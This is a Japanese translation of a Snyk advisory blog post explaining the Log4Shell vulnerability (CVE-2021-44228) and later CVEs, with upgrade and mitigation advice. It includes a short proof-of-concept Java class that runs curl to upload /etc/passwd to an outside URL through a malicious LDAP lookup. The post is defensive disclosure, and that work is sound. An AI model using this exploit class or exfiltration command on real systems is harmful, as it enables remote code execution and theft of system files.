本記事は2021年12月10日に公開した英語ブログLog4Shell vulnerability disclosed: Prevent Log4j RCE by updating to version 2.17.1の日本語版です。
**追記(2021年12月28日付、この日本語版は12月29日に更新) :**Log4jチームは2.17.0に新たなリモートコード実行脆弱性(CVE-2021-44832)を発見し、セキュリティーアップデートを公開しました。Snykは最新のバージョン(現時点では2.17.1)へのアップグレードを推奨します。詳しくは日本語記事 最新版Log4j 2.17.1ではCVE-2021-44832のリモートコード実行が修正されています をご覧ください。
**追記(2021年12月18日付、この日本語版は12月20日に更新) :**Log4jの状況は速いペースで変化しており、新しい情報が出るのにあわせて、このブログも更新しています。現時点では2.17.1以降のバージョンにアップデートすることが推奨されています。このバージョンは2つのリモートコード実行脆弱性への修正(CVE-2021-44228に対する2.15.0での修正、CVE-2021-45046に対する2.16.0での修正)と、最新のDoS脆弱性(CVE-2021-45105)への修正が含まれています。詳しくは英文記事Log4j 2.16 High Severity Vulnerability (CVE-2021-45105) Discoveredをご覧ください。
本日(2021年12月10日)、新たに重大なLog4jの脆弱性が公開されました。Log4Shellです。一般的なJavaロギングフレームワーク内のこの脆弱性は、CVE-2021-44228として公開され、CVSSスコアが10(最大値)のCritical
に分類されています。この脆弱性は、アリババのクラウドセキュリティチームのChen Zhaojunが発見しました。
**更新:**この投稿の後に、2つ目の深刻なリモートコード実行脆弱性が発見されました。この脆弱性CVE-2021-45046は特定の状況下でLog4j 2.15.0に影響します。
Log4j2 のほぼすべてのバージョンに脆弱性があります。これら2つの脆弱性を修正するにはバージョン2.16.0にアップデートすることが必要です。対策についてのより詳細な説明はLog4Shell対策チートシート(英文)をご覧ください。
Javaエコシステムの多くのアプリケーションフレームワークは、デフォルトでこのロギングフレームワークを使用しています。例えば、Apache Struts 2、Apache Solr、Apache Druidなどが該当します。これらに加えて、Apache log4jは多くのSpringおよびSpring Bootアプリケーションでも使用されているため、アプリケーションをチェックして最新のバージョンにアップデートすることをお勧めします。
#Log4Shellはどれくらい危険なのか?
「とても危険」です。この脆弱性はMinecraftで初めて発見されました。マイクロソフトは、この問題を迅速に解決するための緊急パッチを展開しました。TechCrunchは、Apple、Amazon、Twitter、CloudflareがLog4Shell攻撃に対して脆弱であると報じています。TechCrunchによると、「ニュージーランドのCERT(Computer Emergency Response Team)、ドイツテレコムのCERT、およびウェブ監視サービスのGreynoiseは、攻撃者がLog4Shell攻撃に脆弱なサーバーを積極的に探していると警告している。後者によると、約100の異なるホストがインターネット上でLog4jの脆弱性を利用する方法をスキャンしているとのことです。
#Log4Shellの脆弱性についての説明
脆弱なバージョンのlog4jを使用すると、ログに記録される入力データがRCE(リモートコード実行)につながる可能性があります。JNDI(Java Naming and Directory Interface)を使用して、例えばLDAPのURLに接続し、それをログに記録する場合(下図)、コードインジェクションで悪意のあるペイロードを返すことが可能です。
以下のコードスニペットでは、ユーザーから与えられた引数をチェックします。もし、引数が適合しなければ、エラーを記録します。しかし、もしユーザの入力が下記画像
であれば、エラーとしてログに記録されることがわかっているので、Log4Shellの脆弱性を引き起こしました。
try {
checkout(arg);
} catch (Exception e) {
logger.error("Failed to checkout with arg " + arg)
}
入力がlog4jで記録されていることを知っていれば、LDAPサーバーをセットアップして、いくつかのコードを実行するコンパイルされたクラスファイルを返すことができます。そのようなクラスの例は、以下で見ることができます。このオブジェクトは、私の /etc/passwđ
ファイルを、curl
を使用して外部の URL に送信します。なお、このユーザー入力は、たとえば HTTP 呼び出しのヘッダーなどに隠すことができます。ロガーがこの文字列を評価すると、悪意のあるLDAPサーバーへの呼び出しが行われます。
public class RefactoredName implements ObjectFactory {
@Override
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("curl -F 'file=@/etc/passwđ' https://someurl/upload");
return null;
}
}
この問題に関するLuncasecの記事によると、この問題はすべてのJavaバージョンに影響します。6u211、7u201、8u191、11.0.1以上のJDKバージョンでは、このLDAP攻撃の影響を受けないようです。これは、これらのバージョンでは、com.sun.jndi.ldap.object.trustURLCodebase
がデフォルトでfalse
に設定されているためです。
上記のエクスプロイトは、JDK 8u111
でテストされ、動作しました。しかし、8u292
で同じことをしてもうまくいきませんでした。しかし、新しいバージョンのJavaが、この攻撃の他の可能性のある亜種に対する保護を提供しているかどうかは不明です。
追記(2021年12月13日付、この日本語版は12月20日に更新) :@royvanrijn、@brunoborgesやその他のTwitterユーザによれば、Log4Shellに対する攻撃にはさらに違う方法もあるようです。LDAPのURLから返されたクラスファイルがすでにクラスパス上に存在する場合、より新しいバージョンのSDKを使い、com.sun.jndi.ldap.object.trustURLCodebase
がfalse
に設定されていたとしても、そのクラスファイルが実行されることを確認しました。私たちは引き続き調査を行い、新しい知見についても情報を共有します。
#Log4Shellの脆弱性の修正について
この動作はデフォルトで無効になっているため、最も簡単な修正方法は log4j バージョン 2.16.0 以降にアップデートすることです。以前のリリース(>2.10)では、この動作は、次のJavaパラメータを追加することによって、システム・プロパティlog4j2.formatMsgNoLookups
をtrue
に設定することによって、緩和することができます: -Dlog4j2.formatMsgNoLookups=true
また、JndiLookup
クラスをクラスパスから削除することでも、この脆弱性を緩和することができます。
Snykを用いたLog4Shell脆弱性の発見と修正については私たちの記事(英文)をご覧ください。
#脆弱性を防ぐためのスキャンとアップデート
今回のlog4jのRCEは、アプリケーションの脆弱性をスキャンすることが重要であり、ソフトウェア開発をセキュアに保つためには頻繁に行うべきことがあると改めて示しています。さらに、新しいセキュリティ・アップデートの恩恵を受けるために、Javaディストリビューションを最新のリリースにアップデートすることも重要です。
Snyk Open Sourceでアプリケーションをスキャンすると、今回のlog4jの問題を含む、オープンソースライブラリの脆弱性が表示されます。以下の例は、この問題に言及した私のIntelliJ IDEAプラグインの出力と、修正のアドバイスを示しています。
#参考リンク
JPCERT:Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起